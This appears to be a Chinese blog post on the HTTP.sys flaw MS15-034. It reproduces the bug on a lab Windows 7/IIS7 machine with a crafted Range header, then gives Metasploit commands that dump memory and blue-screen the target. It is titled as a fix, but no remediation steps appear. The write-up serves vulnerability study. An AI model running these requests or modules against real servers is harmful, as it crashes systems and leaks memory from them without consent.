HTTP.sys远程代码执行漏洞修复

全栈程序员-站长 • 2022年7月18日下午10:16 • 未分类 • 阅读 20

大家好，又见面了，我是你们的朋友全栈君。

1.漏洞描述

Http.sys是Microsoft Windows处理HTTP请求的内核驱动程序。HTTP.sys会错误解析某些特殊构造的HTTP请求，导致远程代码执行漏洞。成功利用此漏洞后，攻击者可在System帐户上下文中执行任意代码。由于此漏洞存在于内核驱动程序中，攻击者也可以远程导致操作系统蓝屏。此次受影响的系统中，Windows7、Windows8、WindowsServer 2008 R2和WindowsServer 2012所带的HTTP.sys驱动均存在一个远程代码执行漏洞，远程攻击者可以通过IIS7(或更高版本)服务将恶意的HTTP请求传递给HTTP.sys驱动，通过发送恶意的HTTP请求导致远程代码执行或操作系统蓝屏。

2.复现环境

win7+IIS7

3.漏洞确认

访问IIS界面，使用burpsuite抓包，发送到repeater中，在HTTP请求头中加入如下字段
Range: bytes=18-18446744073709551615 ，返回416状态码
在这里插入图片描述

4.漏洞利用

使用kali的metasploit
msconsole
search ms15-034

验证漏洞的方法
use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
set rhosts 192.168.1.200
run

利用漏洞的方法
use auxiliary/dos/http/ms15_034_ulonglongadd
set rhosts 192.168.1.200
set threads 10
run
在这里插入图片描述
实验电脑已经蓝屏